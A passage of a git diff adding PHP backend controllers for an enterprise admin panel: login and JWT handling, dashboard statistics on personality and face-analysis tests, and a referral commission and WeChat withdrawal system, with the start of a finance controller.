只允许普通管理员和企业管理员 + ->find(); + + if (!$user) { + return error('用户名或密码错误', 401); + } + + // 验证密码 + if (!password_verify($password, $user['password'])) { + return error('用户名或密码错误', 401); + } + + // 检查账号状态 + if ($user['status'] != 1) { + return error('账号已被禁用', 403); + } + + // 更新登录信息(使用时间戳,驼峰命名) + Db::name('users') + ->where('id', $user['id']) + ->update([ + 'lastLoginTime' => time(), + 'lastLoginIp' => Request::ip(), + 'updatedAt' => time() + ]); + + // 生成Token + $payload = [ + 'userId' => $user['id'], + 'username' => $user['username'], + 'role' => $user['role'], + 'enterpriseId' => $user['enterpriseId'] ?? null + ]; + + $token = JwtService::generateToken($payload); + + unset($user['password']); + + return success([ + 'token' => $token, + 'expires_in' => config('jwt.expire'), + 'user' => $user + ], '登录成功'); + } + + /** + * 超级管理员登录(新路由:/api/v1/auth/superadmin/login) + * @return \think\response\Json + */ + public function superAdminLogin() + { + $username = Request::param('username', ''); + $password = Request::param('password', ''); + + if (empty($username) || empty($password)) { + return error('用户名和密码不能为空', 400); + } + + // 查找用户(使用原生查询获取密码字段) + $user = Db::name('users') + ->where('username', $username) + ->where('role', 'superadmin') // 只允许超级管理员 + ->find(); + + if (!$user) { + return error('用户名或密码错误', 401); + } + + // 验证密码 + if (!password_verify($password, $user['password'])) { + return error('用户名或密码错误', 401); + } + + // 检查账号状态 + if ($user['status'] != 1) { + return error('账号已被禁用', 403); + } + + // 更新登录信息(使用时间戳,驼峰命名) + Db::name('users') + ->where('id', $user['id']) + ->update([ + 'lastLoginTime' => time(), + 'lastLoginIp' => Request::ip(), + 'updatedAt' => time() + ]); + + // 生成Token + $payload = [ + 'userId' => $user['id'], + 'username' => $user['username'], + 'role' => $user['role'] + ]; + + $token = JwtService::generateToken($payload); + + unset($user['password']); + + return success([ + 'token' => $token, + 'expires_in' => config('jwt.expire'), + 'user' => $user + ], '登录成功'); + } + + /** + * 获取当前登录管理员信息(需要认证) + * @return \think\response\Json + */ + public function me() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + $userModel = Db::name('users')->where('id', $user['userId'] ?? $user['user_id'] ?? null)->find(); + if (!$userModel) { + return error('用户不存在', 404); + } + + // 检查角色(必须是普通管理员或企业管理员,不包括超级管理员) + if (!in_array($userModel['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问后台', 403); + } + + unset($userModel['password']); + + return success($userModel); + } + + /** + * 退出登录(需要认证) + * @return \think\response\Json + */ + public function logout() + { + $user = $this->request->user ?? null; + + if ($user && isset($user['userId'])) { + JwtService::deleteToken($user['userId']); + } elseif ($user && isset($user['user_id'])) { + JwtService::deleteToken($user['user_id']); + } + + return success(null, '退出成功'); + } + + /** + * 刷新Token + * @return \think\response\Json + */ + public function refresh() + { + $token = JwtService::getTokenFromRequest($this->request); + + if (!$token) { + return error('未提供Token', 401); + } + + $newToken = JwtService::refreshToken($token); + + if (!$newToken) { + return error('Token无效或已过期', 401); + } + + return success([ + 'token' => $newToken, + 'expires_in' => config('jwt.expire') + ], '刷新成功'); + } +} + diff --git a/api/app/controller/admin/Dashboard.php b/api/app/controller/admin/Dashboard.php new file mode 100644 index 0000000..718f7fc --- /dev/null +++ b/api/app/controller/admin/Dashboard.php @@ -0,0 +1,179 @@ +request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 验证是否为管理员 + if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + try { + // admin / enterprise_admin 均只统计本企业数据 + $enterpriseId = $user['enterpriseId'] ?? null; + if (!$enterpriseId) { + $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); + $enterpriseId = $adminRow['enterpriseId'] ?? null; + } + + // 企业用户 ID 集合(用于后续统计个人版测试) + $enterpriseUserIds = []; + if ($enterpriseId) { + $enterpriseUserIds = Db::name('wechat_users') + ->where('enterpriseId', $enterpriseId) + ->column('id'); + $enterpriseUserIds = array_values(array_filter($enterpriseUserIds)); + } + + // 总用户数:wechat_users.enterpriseId = 本企业 + if ($enterpriseId) { + $totalUsers = count($enterpriseUserIds); + } else { + try { + $totalUsers = (int) Db::name('wechat_users')->count('openid', true); + } catch (\Throwable $e) { + $totalUsers = (int) Db::name('wechat_users')->count(); + } + } + + // 已完成测试数:严格按 test_results.enterpriseId 归属企业统计 + if ($enterpriseId) { + $testsCompleted = (int) Db::name('test_results') + ->where('enterpriseId', $enterpriseId) + ->count(); + } else { + $testsCompleted = (int) Db::name('test_results')->count(); + } + + // 今日活跃用户数 + $todayStart = strtotime(date('Y-m-d 00:00:00')); + $todayEnd = strtotime(date('Y-m-d 23:59:59')); + $activeQuery = Db::name('test_results') + ->where('createdAt', '>=', $todayStart) + ->where('createdAt', '<=', $todayEnd); + if ($enterpriseId) { + $activeQuery->where('enterpriseId', $enterpriseId); + $activeIds = $activeQuery->distinct(true)->column('userId'); + $activeToday = count(array_filter($activeIds)); + } else { + $activeIds = $activeQuery->distinct(true)->column('userId'); + $activeToday = count(array_filter($activeIds)); + } + + // 待审核(暂返回0) + $pendingReviews = 0; + + // 最近 14 天测试趋势 + $days = 14; + $startDate = strtotime(date('Y-m-d 00:00:00', strtotime('-' . ($days - 1) . ' days'))); + $trendQuery = Db::name('test_results') + ->where('createdAt', '>=', $startDate) + ->whereIn('testType', ['face', 'mbti', 'disc', 'pdp']); + if ($enterpriseId) { + $trendQuery->where('enterpriseId', $enterpriseId); + } + $trendRows = $trendQuery + ->field("FROM_UNIXTIME(createdAt, '%Y-%m-%d') as d, testType, COUNT(*) as c") + ->group('d,testType') + ->order('d', 'asc') + ->select() + ->toArray(); + + // 组装为按日期汇总的数组 + $trendMap = []; + foreach ($trendRows as $row) { + $d = $row['d']; + $type = $row['testType']; + $cnt = (int) ($row['c'] ?? 0); + if (!isset($trendMap[$d])) { + $trendMap[$d] = [ + 'date' => $d, + 'face' => 0, + 'mbti' => 0, + 'disc' => 0, + 'pdp' => 0, + 'total' => 0, + ]; + } + if (in_array($type, ['face', 'mbti', 'disc', 'pdp'], true)) { + $trendMap[$d][$type] += $cnt; + $trendMap[$d]['total'] += $cnt; + } + } + + // 补齐没有数据的日期 + $trendData = []; + for ($i = 0; $i < $days; $i++) { + $d = date('Y-m-d', strtotime('-' . ($days - 1 - $i) . ' days')); + if (isset($trendMap[$d])) { + $trendData[] = $trendMap[$d]; + } else { + $trendData[] = [ + 'date' => $d, + 'face' => 0, + 'mbti' => 0, + 'disc' => 0, + 'pdp' => 0, + 'total' => 0, + ]; + } + } + + return success([ + 'totalUsers' => $totalUsers, + 'testsCompleted' => $testsCompleted, + 'activeToday' => $activeToday, + 'pendingReviews' => $pendingReviews, + 'testTrends' => $trendData, + ]); + } catch (\Exception $e) { + return error('获取统计数据失败:' . $e->getMessage(), 500); + } + } + + /** + * 格式化时间 + * @param int $timestamp + * @return string + */ + private function formatTime($timestamp) + { + if (!$timestamp) { + return ''; + } + + $now = time(); + $diff = $now - $timestamp; + + if ($diff < 60) { + return '刚刚'; + } elseif ($diff < 3600) { + return floor($diff / 60) . '分钟前'; + } elseif ($diff < 86400) { + return floor($diff / 3600) . '小时前'; + } elseif ($diff < 604800) { + return floor($diff / 86400) . '天前'; + } else { + return date('Y-m-d H:i', $timestamp); + } + } +} diff --git a/api/app/controller/admin/Distribution.php b/api/app/controller/admin/Distribution.php new file mode 100644 index 0000000..9c470fa --- /dev/null +++ b/api/app/controller/admin/Distribution.php @@ -0,0 +1,772 @@ +request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $todayStart = strtotime(date('Y-m-d 00:00:00')); + $days = 7; + $trendStart = strtotime(date('Y-m-d 00:00:00', strtotime('-' . ($days - 1) . ' days'))); + + try { + $query = Db::name('commission_records') + ->where('enterpriseId', $enterpriseId); + + $totalCommission = (clone $query)->whereIn('status', ['paid', 'frozen'])->sum('commissionFen') ?: 0; + $paidCommission = (clone $query)->where('status', 'paid')->sum('commissionFen') ?: 0; + $frozenCommission = (clone $query)->where('status', 'frozen')->sum('commissionFen') ?: 0; + $totalOrders = (clone $query)->whereIn('status', ['paid', 'frozen'])->count(); + $todayCommission = (clone $query) + ->whereIn('status', ['paid', 'frozen']) + ->where('createdAt', '>=', $todayStart) + ->sum('commissionFen') ?: 0; + $pendingCount = (clone $query)->where('status', 'frozen')->count(); + + $bindingQuery = Db::name('distribution_bindings') + ->where('enterpriseId', $enterpriseId) + ->where('status', 'active') + ->where('expireAt', '>', time()); + $bindingCount = (clone $bindingQuery)->count(); + $totalAgents = (clone $bindingQuery)->distinct(true)->count('inviterId'); + $todayAgents = Db::name('distribution_bindings') + ->where('enterpriseId', $enterpriseId) + ->where('createdAt', '>=', $todayStart) + ->distinct(true) + ->count('inviterId'); + + $trendRows = Db::name('commission_records') + ->where('enterpriseId', $enterpriseId) + ->whereIn('status', ['paid', 'frozen']) + ->where('createdAt', '>=', $trendStart) + ->field("FROM_UNIXTIME(createdAt, '%Y-%m-%d') as d, SUM(commissionFen) as totalFen") + ->group('d') + ->order('d', 'asc') + ->select() + ->toArray(); + $trendMap = []; + foreach ($trendRows as $row) { + $trendMap[$row['d']] = (int) ($row['totalFen'] ?? 0); + } + $commissionTrend = []; + for ($i = 0; $i < $days; $i++) { + $date = date('Y-m-d', strtotime('-' . ($days - 1 - $i) . ' days')); + $commissionTrend[] = [ + 'date' => $date, + 'amount' => round(($trendMap[$date] ?? 0) / 100, 2), + ]; + } + + $productSeries = self::buildProductCommissionSeries($enterpriseId); + + return success([ + 'totalAgents' => (int) $totalAgents, + 'todayAgents' => (int) $todayAgents, + 'totalCommission' => number_format($totalCommission / 100, 2, '.', ''), + 'todayCommission' => number_format($todayCommission / 100, 2, '.', ''), + 'pendingCommission' => number_format($frozenCommission / 100, 2, '.', ''), + 'pendingCount' => (int) $pendingCount, + 'paidCommission' => number_format($paidCommission / 100, 2, '.', ''), + 'frozenCommission' => number_format($frozenCommission / 100, 2, '.', ''), + 'totalOrders' => (int) $totalOrders, + 'bindingCount' => (int) $bindingCount, + 'commissionTrend' => $commissionTrend, + 'productCommissionSeries' => $productSeries, + ]); + } catch (\Exception $e) { + return error('获取数据失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/distributors 分销商列表(有过邀请行为的用户) + // ───────────────────────────────────────────────────────────── + public function distributors() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $search = trim((string) Request::param('search', '')); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + + try { + // 找出与本企业关联的所有有过邀请行为的用户(不限 scope,按 enterpriseId 筛选) + $query = Db::name('distribution_bindings') + ->where('enterpriseId', $enterpriseId) + ->distinct(true) + ->field('inviterId') + ->buildSql(); + + $inviterQuery = Db::name('wechat_users') + ->alias('u') + ->whereRaw("u.id IN {$query}") + ->field('u.id, u.nickname, u.avatar, u.createdAt'); + + if ($search !== '') { + $inviterQuery->where(function ($q) use ($search) { + $q->where('u.nickname', 'like', "%{$search}%") + ->whereOr('u.id', '=', is_numeric($search) ? (int)$search : -1); + }); + } + + $total = (clone $inviterQuery)->count(); + $inviters = $inviterQuery->page($page, $pageSize)->select()->toArray(); + + $inviterIds = array_column($inviters, 'id'); + + // 各邀请人的累计佣金与可提现佣金 + $commStats = []; + if (!empty($inviterIds)) { + $rows = Db::name('commission_records') + ->whereIn('inviterId', $inviterIds) + ->where('enterpriseId', $enterpriseId) + ->field('inviterId, + SUM(IF(status IN ("paid","frozen"), commissionFen, 0)) as totalFen, + SUM(IF(status = "paid", commissionFen, 0)) as paidFen') + ->group('inviterId') + ->select()->toArray(); + foreach ($rows as $r) { + $commStats[$r['inviterId']] = $r; + } + + // 已提现金额 + $withdrawnRows = Db::name('distribution_withdrawals') + ->whereIn('userId', $inviterIds) + // 提现金额统计:0=审核中,2=待收款,3=已收款 + ->whereIn('status', [0, 2, 3]) + ->field('userId, SUM(amountFen) as withdrawnFen') + ->group('userId') + ->select()->toArray(); + $withdrawnMap = []; + foreach ($withdrawnRows as $r) { + $withdrawnMap[$r['userId']] = (int)$r['withdrawnFen']; + } + + // 团队人数(绑定人数,不限 scope) + $teamRows = Db::name('distribution_bindings') + ->whereIn('inviterId', $inviterIds) + ->where('enterpriseId', $enterpriseId) + ->field('inviterId, COUNT(DISTINCT inviteeId) as teamCount') + ->group('inviterId') + ->select()->toArray(); + $teamMap = []; + foreach ($teamRows as $r) { + $teamMap[$r['inviterId']] = (int)$r['teamCount']; + } + } + + $list = []; + foreach ($inviters as $inv) { + $uid = $inv['id']; + $totalFen = (int)($commStats[$uid]['totalFen'] ?? 0); + $paidFen = (int)($commStats[$uid]['paidFen'] ?? 0); + $withdrawn = $withdrawnMap[$uid] ?? 0; + $avail = max(0, $paidFen - $withdrawn); + $list[] = [ + 'id' => $uid, + 'agentName' => $inv['nickname'] ?: ('用户' . $uid), + 'avatar' => $inv['avatar'] ?? '', + 'totalCommission' => number_format($totalFen / 100, 2, '.', ''), + 'availableCommission'=> number_format($avail / 100, 2, '.', ''), + 'teamCount' => $teamMap[$uid] ?? 0, + 'teamPerformance' => '-', + 'inviteCode' => '-', + 'level' => '-', + 'createdAt' => $inv['createdAt'], + ]; + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取分销商列表失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/bindings 绑定记录列表 + // ───────────────────────────────────────────────────────────── + public function bindings() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + $status = Request::param('status', ''); + $inviterId = (int) Request::param('inviterId', 0); + + try { + $query = Db::name('distribution_bindings') + ->alias('b') + ->leftJoin('wechat_users inv', 'b.inviterId = inv.id') + ->leftJoin('wechat_users invt', 'b.inviteeId = invt.id') + ->field('b.*, inv.nickname as inviterName, inv.avatar as inviterAvatar, + invt.nickname as inviteeName, invt.avatar as inviteeAvatar') + ->where('b.enterpriseId', $enterpriseId); + + if ($inviterId > 0) { + $query->where('b.inviterId', $inviterId); + } + if ($status) { + $query->where('b.status', $status); + } + + $total = (clone $query)->count(); + $list = $query->order('b.updatedAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + $now = time(); + foreach ($list as &$row) { + $row['remainDays'] = max(0, (int) ceil(($row['expireAt'] - $now) / 86400)); + $row['inviterName'] = $row['inviterName'] ?: '未知'; + $row['inviteeName'] = $row['inviteeName'] ?: '未知'; + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取绑定记录失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/commissions 佣金记录列表 + // ───────────────────────────────────────────────────────────── + public function commissions() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + $status = Request::param('status', ''); + $inviterId = (int) Request::param('inviterId', 0); + + try { + $query = Db::name('commission_records') + ->alias('c') + ->leftJoin('wechat_users inv', 'c.inviterId = inv.id') + ->leftJoin('wechat_users invt', 'c.inviteeId = invt.id') + ->field('c.*, inv.nickname as inviterName, inv.avatar as inviterAvatar, invt.nickname as inviteeName, invt.avatar as inviteeAvatar') + ->where('c.enterpriseId', $enterpriseId); + + if ($inviterId > 0) { + $query->where('c.inviterId', $inviterId); + } + if ($status) { + $query->where('c.status', $status); + } + + $total = (clone $query)->count(); + $list = $query->order('c.createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + $orderIds = []; + $testResultIds = []; + foreach ($list as $row) { + if (!empty($row['orderId'])) { + $orderIds[] = (int) $row['orderId']; + } + if (!empty($row['testResultId'])) { + $testResultIds[] = (int) $row['testResultId']; + } + } + + $orderTypeMap = []; + if (!empty($orderIds)) { + $rows = Db::name('test_results') + ->whereIn('orderId', array_values(array_unique($orderIds))) + ->field('orderId, testType') + ->select() + ->toArray(); + foreach ($rows as $item) { + $orderTypeMap[(int) $item['orderId']] = self::normalizeTestType($item['testType'] ?? ''); + } + } + + $resultTypeMap = []; + if (!empty($testResultIds)) { + $rows = Db::name('test_results') + ->whereIn('id', array_values(array_unique($testResultIds))) + ->field('id, testType') + ->select() + ->toArray(); + foreach ($rows as $item) { + $resultTypeMap[(int) $item['id']] = self::normalizeTestType($item['testType'] ?? ''); + } + } + + foreach ($list as &$row) { + $testType = 'other'; + if (($row['commissionSource'] ?? '') === 'test_completion' && !empty($row['testResultId'])) { + $testType = $resultTypeMap[(int) $row['testResultId']] ?? 'other'; + } elseif (!empty($row['orderId'])) { + $testType = $orderTypeMap[(int) $row['orderId']] ?? 'other'; + } + + $row['testType'] = $testType; + $row['testTypeLabel'] = self::getTestTypeLabel($testType); + $row['commissionYuan'] = number_format($row['commissionFen'] / 100, 2, '.', ''); + $row['orderYuan'] = number_format($row['orderAmount'] / 100, 2, '.', ''); + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取佣金记录失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/withdrawals 提现申请列表 + // ───────────────────────────────────────────────────────────── + public function withdrawals() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + $status = Request::param('status', ''); + + try { + $query = Db::name('distribution_withdrawals') + ->alias('w') + ->join('wechat_users u', 'w.userId = u.id') + ->field('w.*, u.nickname, u.avatar') + ->where('u.enterpriseId', $enterpriseId); + + if ($status !== '') { + // 后台传入可以是字符串或数字,这里统一转 int + $query->where('w.status', (int)$status); + } + + $total = (clone $query)->count(); + $list = $query->order('w.createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + foreach ($list as &$row) { + $row['amountYuan'] = number_format($row['amountFen'] / 100, 2, '.', ''); + $row['nickname'] = $row['nickname'] ?: '未知用户'; + + // 确保前端拿到的是数字 status(避免 '0' 和 0 比较异常) + $code = (int) ($row['status'] ?? 0); + $row['status'] = $code; + + // 统一后台状态文案:0审核中、1已驳回、2待收款、3已收款、4已过期 + switch ($code) { + case 0: + $row['statusLabel'] = '审核中'; + break; + case 1: + $row['statusLabel'] = '已驳回'; + break; + case 2: + $row['statusLabel'] = '待收款'; + break; + case 3: + $row['statusLabel'] = '已收款'; + break; + case 4: + $row['statusLabel'] = '已过期'; + break; + default: + $row['statusLabel'] = '未知'; + break; + } + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取提现记录失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // POST distribution/withdrawals/:id/approve 审核通过 + // ───────────────────────────────────────────────────────────── + public function approveWithdrawal(int $id) + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $note = Request::param('note', ''); + $now = time(); + + $record = Db::name('distribution_withdrawals') + ->alias('w') + ->join('wechat_users u', 'w.userId = u.id') + ->where('w.id', $id) + ->where('u.enterpriseId', $enterpriseId) + ->field('w.*, u.openid') + ->find(); + // 仅允许处理审核中(status=0)的记录 + if (!$record || (int)$record['status'] !== 0) { + return error('提现申请不存在、已处理或无权限', 400); + } + + try { + // 生成商户明细单号:TX + 时间戳 + 随机数(示例:TX202603121526520005) + $outDetailNo = 'TX' . date('YmdHis') . mt_rand(1000, 9999); + + // 调用微信商家转账到零钱接口 + $service = new \app\common\service\WechatTransferService(); + $result = $service->createTransfer([ + 'out_detail_no' => $outDetailNo, + 'transfer_amount'=> (int) $record['amountFen'], + 'transfer_remark'=> '推广佣金提现', + 'openid' => $record['openid'], + 'batch_name' => '推广佣金提现', + 'batch_remark' => '用户提现', + ]); + + if ($result['success'] !== true) { + $err = $result['error'] ?? []; + $code = $err['code'] ?? 'UNKNOWN'; + $msg = $err['message'] ?? '微信转账接口调用失败'; + return error("微信转账发起失败({$code}):{$msg}", 500); + } + + $wechatData = $result['data'] ?? []; + Db::name('distribution_withdrawals') + ->where('id', $id) + ->update([ + // 2=待收款(已发起微信转账,等待用户确认) + 'status' => 2, + 'auditNote' => $note, + 'auditAt' => $now, + 'updatedAt' => $now, + 'pay_type' => 'wechat', + 'out_bill_no' => $outDetailNo, + 'transfer_bill_no' => $wechatData['batch_id'] ?? null, + 'wechat_pay_state' => $wechatData['batch_status'] ?? 'PROCESSING', + 'transfer_scene_id'=> $wechatData['transfer_scene_id'] ?? env('TRANSFER_SCENE_ID', '1005'), + 'mch_id' => env('MCH_ID', null), + ]); + + return success(null, '审核通过,已发起微信转账'); + } catch (\Exception $e) { + return error('操作失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // POST distribution/withdrawals/:id/reject 审核拒绝 + // ───────────────────────────────────────────────────────────── + public function rejectWithdrawal(int $id) + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $note = Request::param('note', ''); + $now = time(); + + $record = Db::name('distribution_withdrawals') + ->alias('w') + ->join('wechat_users u', 'w.userId = u.id') + ->where('w.id', $id) + ->where('u.enterpriseId', $enterpriseId) + ->field('w.*') + ->find(); + // 仅允许处理审核中(status=0)的记录 + if (!$record || (int)$record['status'] !== 0) { + return error('提现申请不存在、已处理或无权限', 400); + } + + Db::startTrans(); + try { + // 退回余额 + Db::name('wechat_users') + ->where('id', $record['userId']) + ->inc('walletBalance', $record['amountFen']) + ->update(['updatedAt' => $now]); + + Db::name('distribution_withdrawals') + ->where('id', $id) + ->update([ + // 1=已驳回 + 'status' => 1, + 'auditNote' => $note, + 'auditAt' => $now, + 'updatedAt' => $now, + ]); + + Db::commit(); + return success(null, '已拒绝,余额已退回'); + } catch (\Exception $e) { + Db::rollback(); + return error('操作失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/settings 获取企业分销配置 + // ───────────────────────────────────────────────────────────── + public function settings() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + + try { + $config = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', $enterpriseId) + ->find(); + + $tsDefault = self::defaultTestSettings(); + $default = [ + 'enabled' => true, + 'promoCenterTitle' => '推广中心', + 'bindingDays' => 30, + 'testSettings' => $tsDefault, + ]; + + if ($config && $config['value']) { + $settings = is_string($config['value']) ? json_decode($config['value'], true) : $config['value']; + $settings = array_merge($default, $settings ?? []); + } else { + $settings = $default; + } + + // 附加前端可读的 commissionAmount(元) + $settings['testSettings'] = self::appendTestSettingsAmount( + $settings['testSettings'] ?? $tsDefault + ); + + return success($settings); + } catch (\Exception $e) { + return error('获取配置失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // PUT distribution/settings 更新企业分销配置 + // ───────────────────────────────────────────────────────────── + public function updateSettings() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $settings = Request::only(['enabled', 'promoCenterTitle', 'bindingDays', 'testSettings']); + + $promoTitle = trim((string)($settings['promoCenterTitle'] ?? '')); + $toSave = [ + 'enabled' => (bool)($settings['enabled'] ?? true), + 'promoCenterTitle' => $promoTitle !== '' ? $promoTitle : '推广中心', + 'bindingDays' => (int)($settings['bindingDays'] ?? 30), + 'testSettings' => self::sanitizeTestSettings($settings['testSettings'] ?? null), + ]; + + try { + $now = time(); + $existing = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', $enterpriseId) + ->find(); + + if ($existing) { + Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', $enterpriseId) + ->update(['value' => json_encode($toSave, JSON_UNESCAPED_UNICODE), 'updatedAt' => $now]); + } else { + Db::name('system_config')->insert([ + 'key' => 'distribution', + 'enterprise_id' => $enterpriseId, + 'value' => json_encode($toSave, JSON_UNESCAPED_UNICODE), + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + } + + $toSave['testSettings'] = self::appendTestSettingsAmount($toSave['testSettings']); + return success($toSave, '配置已保存'); + } catch (\Exception $e) { + return error('保存配置失败:' . $e->getMessage(), 500); + } + } + + private static function defaultTestSettings(): array + { + $item = ['enabled' => true, 'commissionType' => 'ratio', 'commissionRate' => 90, 'commissionAmountFen' => 0, 'noPayment' => false]; + return ['face' => $item, 'mbti' => $item, 'disc' => $item, 'pdp' => $item]; + } + + private static function sanitizeTestSettings($raw): array + { + $default = self::defaultTestSettings(); + if (!is_array($raw)) return $default; + $result = []; + foreach ($default as $type => $def) { + $s = $raw[$type] ?? []; + $commissionType = in_array($s['commissionType'] ?? '', ['ratio', 'amount']) ? $s['commissionType'] : 'ratio'; + $amountFen = isset($s['commissionAmount']) + ? (int) round((float)$s['commissionAmount'] * 100) + : (int)($s['commissionAmountFen'] ?? 0); + $rate = max(0, min(100, (int)($s['commissionRate'] ?? 90))); + $result[$type] = [ + 'enabled' => ($s['enabled'] ?? true) !== false, + 'commissionType' => $commissionType, + 'commissionRate' => $commissionType === 'ratio' ? $rate : 0, + 'commissionAmountFen'=> $commissionType === 'amount' ? max(0, $amountFen) : 0, + 'noPayment' => !empty($s['noPayment']), + ]; + } + return $result; + } + + private static function appendTestSettingsAmount(array $ts): array + { + foreach ($ts as $k => $v) { + $ts[$k]['commissionAmount'] = round(($v['commissionAmountFen'] ?? 0) / 100, 2); + } + return $ts; + } + + private static function buildProductCommissionSeries(int $enterpriseId): array + { + $records = Db::name('commission_records') + ->where('enterpriseId', $enterpriseId) + ->whereIn('status', ['paid', 'frozen']) + ->field('orderId, testResultId, commissionSource, commissionFen') + ->select() + ->toArray(); + + $orderIds = []; + $testResultIds = []; + foreach ($records as $record) { + if (!empty($record['orderId'])) { + $orderIds[] = (int) $record['orderId']; + } + if (!empty($record['testResultId'])) { + $testResultIds[] = (int) $record['testResultId']; + } + } + + $orderTypeMap = []; + if (!empty($orderIds)) { + $rows = Db::name('test_results') + ->whereIn('orderId', array_values(array_unique($orderIds))) + ->field('orderId, testType') + ->select() + ->toArray(); + foreach ($rows as $row) { + $orderTypeMap[(int) $row['orderId']] = self::normalizeTestType($row['testType'] ?? ''); + } + } + + $resultTypeMap = []; + if (!empty($testResultIds)) { + $rows = Db::name('test_results') + ->whereIn('id', array_values(array_unique($testResultIds))) + ->field('id, testType') + ->select() + ->toArray(); + foreach ($rows as $row) { + $resultTypeMap[(int) $row['id']] = self::normalizeTestType($row['testType'] ?? ''); + } + } + + $totals = [ + 'face' => 0, + 'mbti' => 0, + 'disc' => 0, + 'pdp' => 0, + 'other' => 0, + ]; + + foreach ($records as $record) { + $type = 'other'; + if (($record['commissionSource'] ?? '') === 'test_completion' && !empty($record['testResultId'])) { + $type = $resultTypeMap[(int) $record['testResultId']] ?? 'other'; + } elseif (!empty($record['orderId'])) { + $type = $orderTypeMap[(int) $record['orderId']] ?? 'other'; + } + + if (!isset($totals[$type])) { + $type = 'other'; + } + $totals[$type] += (int) ($record['commissionFen'] ?? 0); + } + + return [ + ['label' => '人脸分析', 'value' => round($totals['face'] / 100, 2)], + ['label' => 'MBTI', 'value' => round($totals['mbti'] / 100, 2)], + ['label' => 'DISC', 'value' => round($totals['disc'] / 100, 2)], + ['label' => 'PDP', 'value' => round($totals['pdp'] / 100, 2)], + ['label' => '其他', 'value' => round($totals['other'] / 100, 2)], + ]; + } + + private static function normalizeTestType(string $testType): string + { + $normalized = strtolower(trim($testType)); + if ($normalized === 'ai') { + return 'face'; + } + if (in_array($normalized, ['face', 'mbti', 'disc', 'pdp'], true)) { + return $normalized; + } + return 'other'; + } + + private static function getTestTypeLabel(string $testType): string + { + $map = [ + 'face' => '人脸', + 'mbti' => 'MBTI', + 'disc' => 'DISC', + 'pdp' => 'PDP', + 'other' => '其他', + ]; + + return $map[$testType] ?? strtoupper($testType ?: '其他'); + } +} diff --git a/api/app/controller/admin/Finance.php b/api/app/controller/admin/Finance.php new file mode 100644 index 0000000..fef7d3a --- /dev/null +++ b/api/app/controller/admin/Finance.php @@ -0,0 +1,204 @@ +resolveEnterpriseId(); + if (!$enterpriseId) { + return error('未获取到企业信息', 400); + } + + try { + $enterprise = Db::name('enterprises') + ->where('id', $enterpriseId) + ->field('id, name, balance') + ->find(); + if (!$enterprise) { + return error('企业不存在', 404); + } + + $todayStart = strtotime(date('Y-m-d 00:00:00')); + $monthStart = strtotime(date('Y-m-01 00:00:00')); + + $baseOrderQuery = 